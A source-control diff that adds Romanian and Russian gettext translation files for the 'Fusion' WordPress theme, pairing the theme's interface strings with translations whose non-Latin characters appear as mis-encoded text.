+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+#, php-format
+msgid "Posted in %s"
+msgstr "Publicat Ã®n %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "Edit"
+msgstr "ModificÄ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:55
+msgid "No posts found by this author."
+msgstr "Nu a fost gÄsit nici un articol scris de acest utilizator."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:5
+msgid "Enter your password to view comments"
+msgstr "Introduceti parola pentru a vizualiza comentariile"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:21
+msgid "Comments"
+msgstr "Comentarii"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:22
+msgid "Trackbacks"
+msgstr "Trackback-uri"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:41
+msgid "No comments yet."
+msgstr "Nu sunt comentarii."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:62
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr "Trebuie sÄ fii <a href=\"%s\">autentificat</a> pentru a scrie comentarii."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:69
+msgid "Cancel Reply"
+msgstr "RenunÅ£Ä la rÄspuns"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+#, php-format
+msgid "Logged in as %s."
+msgstr "SunteÅ£i autentificat ca Åi %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:77
+msgid "Log out of this account"
+msgstr "Log out"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:77
+msgid "Logout &raquo;"
+msgstr "Logout &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:81
+#, php-format
+msgid "Welcome back <strong>%s</strong>."
+msgstr "Bun venit <strong>%s</strong>."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:81
+msgid "Change &raquo;"
+msgstr "SchimbÄ &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:81
+msgid "Close &raquo;"
+msgstr "Ãnchide &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:86
+msgid "Name"
+msgstr "Nume"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:86
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:90
+msgid "(required)"
+msgstr "(necesar)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:90
+msgid "E-Mail"
+msgstr "E-Mail"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:90
+msgid "(will not be published)"
+msgstr "(nu va fi publicat)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:94
+msgid "Website"
+msgstr "Site web"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:112
+msgid "Submit Comment"
+msgstr "PosteazÄ comentariul"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:129
+msgid "No trackbacks yet."
+msgstr "ÃncÄ nu existÄ trackback-uri."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:142
+msgid "Comments are closed."
+msgstr "Comentariile sunt dezactivate."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:21
+#, php-format
+msgid "Fusion theme by %s"
+msgstr "Tema Fusion creatÄ de %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:23
+#, php-format
+msgid "powered by %s"
+msgstr "susÅ£inut de %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:26
+msgid "Entries (RSS)"
+msgstr "Articole (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:26
+msgid "and"
+msgstr "Åi"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:26
+msgid "Comments (RSS)"
+msgstr "Comentarii (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:33
+msgid "Increase/Decrease text size"
+msgstr "MÄreÅte sau micÅoreazÄ textul"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:34
+msgid "Switch between full and fixed width"
+msgstr "SchimbÄ lÄÅ£imea paginii"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:85
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:93
+msgid "Fusion Theme Options"
+msgstr "OpÅ£iuni temÄ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:96
+msgid "Meta keywords:"
+msgstr "Cuvinte cheie (META):"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Separate with commas"
+msgstr "SeparaÅ£i prin virgulÄ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Use custom logo image"
+msgstr "FoloseÅte o siglÄ personalizatÄ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Upload your logo as \"logo.png\" in the theme directory:"
+msgstr "CopiaÅ£i sigla dvs. cu numele \"logo.png\" Ã®n directorul temei:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "You should export the logo image with transparency enabled"
+msgstr "DacÄ e posibil, folosiÅ£i culori transparente cÃ¢nd creeaÅ£i sigla dvs."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Disable homepage tab"
+msgstr "DezactiveazÄ meniul \"AcasÄ\" din antent"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Check this if you are using a static page as the homepage"
+msgstr "BifaÅ£i aceastÄ opÅ£iune dacÄ folosiÅ£i o paginÄ staticÄ ca Åi paginÄ principalÄ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Show the categories as header tabs"
+msgstr "AratÄ categoriile Ã®n meniul din antet"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "(instead of pages)"
+msgstr "(Ã®n loc de pagini)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Disable the default category block in the sidebar"
+msgstr "DezactiveazÄ categoriile din bara lateralÄ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Check if you prefer the widgetized category display or just want to hide the categories"
+msgstr "BifaÅ£i  dacÄ doriÅ£i sÄ ascundeÅ£i categoriile, sau dacÄ preferaÅ£i categoriile ca Åi widget"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Disable the default search block in the sidebar"
+msgstr "DezactiveazÄ meniul de cÄutare din bara lateralÄ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Check if you don't like the theme-default search look"
+msgstr "BifaÅ£i dacÄ nu doriÅ£i afiÅarea lui"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:127
+msgid "Disable layout controls (Aa/<>)"
+msgstr "DezactiveazÄ abilitatea vizitatorilor de a schimba mÄrimea textului sau lÄÅ£imea paginii"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:129
+msgid "Default page content width:"
+msgstr "LÄÅ£imea implicitÄ a paginii:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:132
+msgid "Fixed (960 pixels)"
+msgstr "FixÄ  (960 pixeli)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:136
+msgid "Fluid (95 percent of the visitor's screen width)"
+msgstr "FlexibilÄ (95 la suta din lÄÅ£imea ferestrei browser-ului)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:137
+msgid "Note that if the layout controls are enabled, the visitor's javascript page width cookie setting will override this option"
+msgstr "AceastÄ opÅ£iune nu are efect daca vizitatorul poate schimba laÅ£imea paginii"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:141
+msgid "Sidebar position:"
+msgstr "PoziÅ£ia barei laterale:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:144
+msgid "Right (default)"
+msgstr "Dreapta (implicit)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:148
+msgid "Left"
+msgstr "StÃ¢nga"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:154
+msgid "Disable jQuery and the associated code"
+msgstr "DezactiveazÄ jQuery Åi codul asociat lui"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:154
+msgid "This will reduce the page load with ~70 KB, but will also disable some features and effects (layout controls, rss links inside category menu, comment tabs, trackbacks).<br />You shouldn't change this unless you have problems with your host regarding bandwidth"
+msgstr "AceastÄ opÅ£iune va reduce traficul unui vizitator cu aprox. 70 KB, dar va dezactiva unele funcÅ£ionalitÄÅ£i Åi efecte. Nu bifaÅ£i dacÄ nu aveÅ£i probleme legate de trafic sau lÄÅ£ime de bandÄ."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+msgid "Custom CSS code"
+msgstr "Cod CSS personalizat"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+#, php-format
+msgid "Here you can add or change anything related to design if you have some basic CSS knowledge. Check %s to see existing styles, which you can redefine here."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+msgid "Don't modify style.css if you wish to preserve your changes after theme update! Use this option instead."
+msgstr "Nu modificaÅ£i fiÅierul style.css daca vreÅ£i sÄ prezervaÅ£i modificÄrile dvs la codul CSS dupa actualizarea temei! FolosiÅ£i aceastÄ opÅ£iune pt. asta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:160
+msgid "Save Changes"
+msgstr "SalveazÄ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+#, php-format
+msgid "%s by %s at %s"
+msgstr "%s scris de %s la %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+msgid "H:i"
+msgstr "H:i"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:224
+msgid "Your comment is awaiting moderation."
+msgstr "Comentariul dvs. va fi moderat."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:234
+msgid "Reply"
+msgstr "RÄspunde"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:234
+msgid "Quote"
+msgstr "CiteazÄ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:152
+msgid "You are Home"
+msgstr "SunteÅ£i pe pagina principalÄ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:152
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:154
+msgid "Home"
+msgstr "AcasÄ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:154
+msgid "Click for Home"
+msgstr "Click pt. pagina principalÄ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:31
+#, php-format
+msgid "This entry was posted on %s and is filed under %s. You can follow any responses to this entry through %s."
+msgstr "Acest articol a fost publicat %s Ã®n %s. PuteÅ£i urmÄri orice comentariu nou la acest articol prin %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:35
+#, php-format
+msgid "You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "PuteÅ£i <a href=\"#respond\">comenta</a>, sau lÄsa o <a href=\"%s\" rel=\"trackback\">legÄturÄ</a> pe site-ul dvs."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:39
+#, php-format
+msgid "Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "Comentariile sunt dezactivate momentan, dar puteÅ£i lÄsa o <a href=\"%s\" rel=\"trackback\">legÄturÄ</a> de pe site-ul dvs."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:43
+msgid "You can skip to the end and leave a response. Pinging is currently not allowed."
+msgstr "PuteÅ£i lÄsa un comentariu. Trackback-urile de pe site-ul propriu sunt dezactivate."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:47
+msgid "Both comments and pings are currently closed."
+msgstr "Comentariile Åi trackback-urile sunt dezactivate."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:49
+msgid "Edit this entry"
+msgstr "ModificÄ acest articol"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:54
+msgid "Sorry, no attachments matched your criteria."
+msgstr "Ãmi pare rÄu, nu am gasit ataÅamente care sÄ se Ã®ncadreze Ã®n acest criteriu."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:54
+msgid "Not Found"
+msgstr "Nu a fost gÄsit"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:55
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr "Ãmi pare rÄu, dar cÄutaÅ£i ceva ce nu se gÄseÅte aici."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/links.php:10
+msgid "Links:"
+msgstr "Link-uri:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-3col.php:20
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-nosidebar.php:21
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page.php:16
+msgid "Read the rest of this page &raquo;"
+msgstr "CiteÅte restul acestei pagini &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:8
+msgid "Search Results"
+msgstr "Rezultatele cÄutÄrii"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:40
+msgid "No posts found. Try a different search?"
+msgstr "Nici un articol gÄsit. ÃncercaÅ£i o nouÄ cÄutare?"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/searchform.php:8
+msgid "Search"
+msgstr "CautÄ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:20
+#, php-format
+msgid "You are currently browsing the archives for the %s category."
+msgstr "Acum rÄsfoiÅ£i arhivele pentru categoria %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:26
+#, php-format
+msgid "You are currently browsing the archives for %s"
+msgstr "Acum rÄsfoiÅ£i arhivele pentru %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:29
+#, php-format
+msgid "You are currently browsing the archives for the year %s"
+msgstr "Acum rÄsfoiÅ£i arhivele pentru anul %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:32
+#, php-format
+msgid "You have searched the archives for %s."
+msgstr "AÅ£i cÄutat Ã®n arhive %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:35
+msgid "You are currently browsing the archives."
+msgstr "Acum rÄsfoiÅ£i arhivele"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:62
+msgid "Archives"
+msgstr "Arhive"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:73
+msgid "Meta"
+msgstr "Meta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:59
+msgid "Sorry, no posts matched your criteria."
+msgstr "Ãmi pare rÄu, nici un articol nu s-a Ã®ncadrat Ã®n criteriul de cÄutare."
+
+#~ msgid "Permanent Link to"
+#~ msgstr "Link permanent la"
+#~ msgid "by"
+#~ msgstr "de"
+#~ msgid "%1$s at %2$s"
+#~ msgstr "%1$s la %2$s"
+#~ msgid "on"
+#~ msgstr "la"
+#~ msgid "Logged in as <a href=\"%1$s\"><strong>%2$s</strong></a>."
+#~ msgstr "SunteÅ£i autentificat ca Åi "
+#~ msgid "Posted in"
+#~ msgstr "Postat Ã®n"
+#~ msgid "This entry was posted on"
+#~ msgstr "Acest articol a fost scris"
+#~ msgid "and is filed under"
+#~ msgstr "si este Ã®ncadrat Ã®n"
+#~ msgid "You can follow any responses to this entry through"
+#~ msgstr "PuteÅ£i urmÄri orice comentariu nou la acest articol prin"
+#~ msgid "Archive for"
+#~ msgstr "ArhivÄ pentru"
+#~ msgid "Subscribe to comments feed"
+#~ msgstr "Vreau sÄ fiu notificat prin RSS dacÄ apar comentarii noi"
+#~ msgid "Leave a comment"
+#~ msgstr "LasÄ un comentariu"
+#~ msgid "Sorry, the comment form is closed at this time."
+#~ msgstr "Ãmi pare rÄu, formularul pentru comentarii este Ã®nchis momentan."
+#~ msgid "Close this window."
+#~ msgstr "Ãnchide aceastÄ fereastrÄ."
+#~ msgid "Disable the \"<>\" layout-type switcher"
+#~ msgstr "DezactiveazÄ abilitatea vizitatorior de a schimba lÄÅ£imea paginii"
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/ru_RU.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/ru_RU.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/ru_RU.po	(revision 44)
@@ -0,0 +1,578 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Fusion 2.5\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-03-14 18:30+0200\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Ptath <ptath@ptath.ru>\n"
+"Language-Team: digitalnature.ro <hello@digitalnature.ro>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: English\n"
+"X-Poedit-Country: UNITED STATES\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-SearchPath-0: c:\\wamp\\www\\wordpress\\wp-content\\themes\\fusion\n"
+"X-Poedit-SearchPath-1: .\n"
+"X-Poedit-SearchPath-2: ..\n"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/404.php:6
+msgid "Page not found (404)"
+msgstr "Ð¡ÑÑÐ°ÐœÐžÑÐ° ÐœÐµ ÐœÐ°Ð¹ÐŽÐµÐœÐ° (ÐµÑÑÐŸÑ 404)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:9
+msgid "Archive for category"
+msgstr "ÐÑÐµ Ð·Ð°Ð¿ÐžÑÐž ÑÑÐ±ÑÐžÐºÐž"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:11
+msgid "Posts Tagged"
+msgstr "ÐÐ°Ð¿ÐžÑÐž Ñ ÑÐµÐ³ÐŸÐŒ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Archive for"
+msgstr "ÐÑÑ
+ÐžÐ² ÐŽÐ»Ñ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:209
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:22
+msgid "F jS, Y"
+msgstr "j.m.Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+msgid "F, Y"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Y"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:19
+msgid "Author Archive"
+msgstr "ÐÑÐµ Ð·Ð°Ð¿ÐžÑÐž Ð°Ð²ÑÐŸÑÐ°"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:21
+msgid "Blog Archives"
+msgstr "ÐÑÑ
+ÐžÐ² Ð±Ð»ÐŸÐ³Ð°"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:16
+msgid "Permanent Link to"
+msgstr "ÐÐŸÑÑÐŸÑÐœÐœÐ°Ñ ÑÑÑÐ»ÐºÐ° ÐœÐ°"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:22
+#, php-format
+msgid "Posted by %s in %s"
+msgstr "%s | %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:33
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:22
+#, php-format
+msgid "Posts by %s"
+msgstr "ÐÐ°Ð¿ÐžÑÐž %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:22
+msgid "on"
+msgstr "|"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:17
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:30
+msgid "Read the rest of this entry &raquo;"
+msgstr "Ð¢Ð°ÐŒ ÐµÑÑÑ ÐµÑÐµ &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "No Comments"
+msgstr "ÐÐµÑ ÐºÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐµÐ²"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "1 Comment"
+msgstr "ÐÐŽÐžÐœ ÐºÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐ¹"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "% Comments"
+msgstr "ÐÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐž (%)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:65
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:49
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:34
+msgid "&laquo; Older Entries"
+msgstr "&laquo; ÑÑÐŽÐ°"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:66
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:50
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:55
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:14
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:35
+msgid "Newer Entries &raquo;"
+msgstr "ÑÑÐŽÐ° &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:72
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr "ÐÑÐŸÑÑ Ð¿ÑÐŸÑÐµÐœÐžÑ, ÐœÐŸ Ð·Ð°Ð¿ÐžÑÐµÐ¹ Ð² ÑÑÐ±ÑÐžÐºÐµ %s ÐµÑÐµ (ÐžÐ»Ðž ÑÐ¶Ðµ) ÐœÐµÑ."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:74
+msgid "Sorry, but there aren't any posts with this date."
+msgstr "ÐÐ·Ð²ÐžÐœÑÑÑÑ, ÐœÐŸ ÐœÐµÑ Ð·Ð°Ð¿ÐžÑÐµÐ¹ Ð² ÑÑÐŸÑ ÐŽÐµÐœÑ."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:77
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr "%s ÐµÑÐµ ÐœÐµ ÐœÐ°Ð¿ÐžÑÐ°Ð» ÐœÐž ÐŸÐŽÐœÐŸÐ³ÐŸ Ð¿ÐŸÑÑÐ°."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:79
+msgid "No posts found."
+msgstr "ÐÐžÑÐµÐ³ÐŸ ÐœÐµ ÐœÐ°Ð¹ÐŽÐµÐœÐŸ."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:10
+msgid "Archives by Month:"
+msgstr "ÐÑÑ
+ÐžÐ²Ñ Ð·Ð° ÐŒÐµÑÑÑ:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:14
+msgid "Archives by Subject:"
+msgstr "ÐÑÑ
+ÐžÐ²Ñ Ð¿ÐŸ ÑÐµÐŒÐµ:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:16
+msgid "This user hasn't shared any biographical information"
+msgstr "ÐÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÑÐµÐ»Ñ ÑÐµÑÐžÐ» ÐœÐµ ÐŽÐµÐ»ÐžÑÑÑÑ ÑÐ²ÐŸÐµÐ¹ Ð±ÐžÐŸÐ³ÑÐ°ÑÐžÐµÐ¹."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:21
+msgid "Homepage:"
+msgstr "Ð¡ÑÑÐ°ÐœÐžÑÐºÐ°:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:22
+msgid "Yahoo Messenger:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:23
+msgid "Jabber/GTalk:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:24
+msgid "AIM:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:41
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:31
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "l, F jS, Y"
+msgstr "j.m.Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "Tags: "
+msgstr "ÐÐµÑÐºÐž:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "Posted in"
+msgstr "ÐÐ¿ÑÐ±Ð»ÐžÐºÐŸÐ²Ð°ÐœÐŸ Ð²"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:27
+msgid "Edit"
+msgstr "ÑÐµÐŽÐ°ÐºÑÐžÑÐŸÐ²Ð°ÑÑ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:55
+msgid "No posts found by this author."
+msgstr "ÐÐµ ÐœÐ°Ð¹ÐŽÐµÐœÐŸ Ð¿ÐŸÑÑÐŸÐ² ÑÑÐŸÐ³ÐŸ Ð°Ð²ÑÐŸÑÐ°."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:5
+msgid "Enter your password to view comments"
+msgstr "ÐÑÐ¶ÐµÐœ Ð¿Ð°ÑÐŸÐ»Ñ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:21
+msgid "Comments"
+msgstr "ÐÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐž"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:22
+msgid "Trackbacks"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:41
+msgid "No comments yet."
+msgstr "ÐÐŸÐºÐ° ÐœÐµÑ ÐºÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐµÐ²."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:62
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr "ÐÐ±ÑÐ·Ð°ÑÐµÐ»ÑÐœÐŸ ÐœÐ°ÐŽÐŸ Ð²ÐŸÐ¹ÑÐž  <a href=\"%s\">Ð² ÑÐžÑÑÐµÐŒÑ</a> ÐŽÐ»Ñ ÐºÐŸÐŒÐŒÐµÐœÑÐžÑÐŸÐ²Ð°ÐœÐžÑ."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:69
+msgid "Cancel Reply"
+msgstr "ÐÑÐŒÐµÐœÐžÑÑ ÐŸÑÐ²ÐµÑ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Logged in as"
+msgstr "ÐÑ ÑÐ·ÐœÐ°Ð»Ðž ÑÐµÐ±Ñ, "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Log out of this account"
+msgstr "ÐÑÐ¹ÑÐž"
+
